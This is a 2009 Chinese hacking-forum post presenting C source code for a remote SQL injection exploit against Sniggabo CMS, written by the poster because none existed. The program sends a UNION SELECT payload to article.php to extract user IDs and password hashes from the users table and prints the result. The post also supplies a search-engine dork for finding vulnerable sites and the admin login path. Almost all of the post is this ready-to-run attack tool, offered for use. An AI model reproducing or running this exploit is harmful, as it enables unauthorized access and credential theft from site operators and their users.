找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 703|回复: 0

Sniggabo CMS - Remote SQL Injection Exploit

[复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-8-10 07:48:56 | 显示全部楼层 |阅读模式 来自 山东省威海市
感谢milw0rm的工作人员提供漏洞信息,这个漏洞没有exp,顺手写之。
/*
Sniggabo CMS - Remote SQL Injection Exploit
Date:                11.06.2009
Vulnerability discovered by:    Lidloses_Auge
Admin Panel:             [target]/admin/login.php
Dork:                "powered by Sniggabo CMS" inurl:article.php?id
Code by 2y30r
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <netdb.h>
char *Http_GET(char *host,int port,char *data)
{
    char response[204800],http_request[2048],*ret;
    struct hostent *get_ip_addr;
    get_ip_addr = gethostbyname(host);
    struct sockaddr_in remote_host;
    remote_host.sin_family = AF_INET;
    remote_host.sin_port = htons(port);
    memcpy(&remote_host.sin_addr.s_addr,get_ip_addr->h_addr_list[0],sizeof(get_ip_addr->h_addr_list[0]));
    int remote_std = socket(AF_INET,SOCK_STREAM,0);
    connect(remote_std,(struct sockaddr*)&remote_host,sizeof(remote_host));
    memset(http_request,'\0',sizeof(http_request));
    sprintf(http_request,"GET %s HTTP/1.1\r\nHost:%s\r\nAccept:*/*\r\n\r\n",data,host);
    send(remote_std,http_request,strlen(http_request),0);
    recv(remote_std,response,sizeof(response),0);
    ret = response;
    return ret;
}
int main(int argc,char *argv[])
{
    if (argc != 2) {
        printf("\t\tSniggabo CMS article.php injection\n\tDork:\"powered by Sniggabo CMS\" inurl:article.php?id\nExploit By 2y30r\nUsage:%s www.target.com/path\n",argv[0]);
        return 0;
    }
    char *response,*tmp,host[256],data[1024];
    memset(host,'\0',sizeof(host));
    char sql[] = "/article.php?Id=-1000+union+select+concat(0x7c7c7c,concat_ws(0x7c,userid,password),0x7c7c7c)+from+users+limit 0,1/*";
    tmp = strstr(argv[1],"/");
    if (!tmp){
        strcpy(host,argv[1]);strcpy(data,sql);
    } else {
        strncpy(host,argv[1],strlen(argv[1]) - strlen(tmp));
        strcpy(data,tmp);strcat(data,sql);
    }
    response = Http_GET(host,80,data);
    printf("%s\n",response);
    return 1;
}
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-28 04:31 , Processed in 0.168965 second(s), 35 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表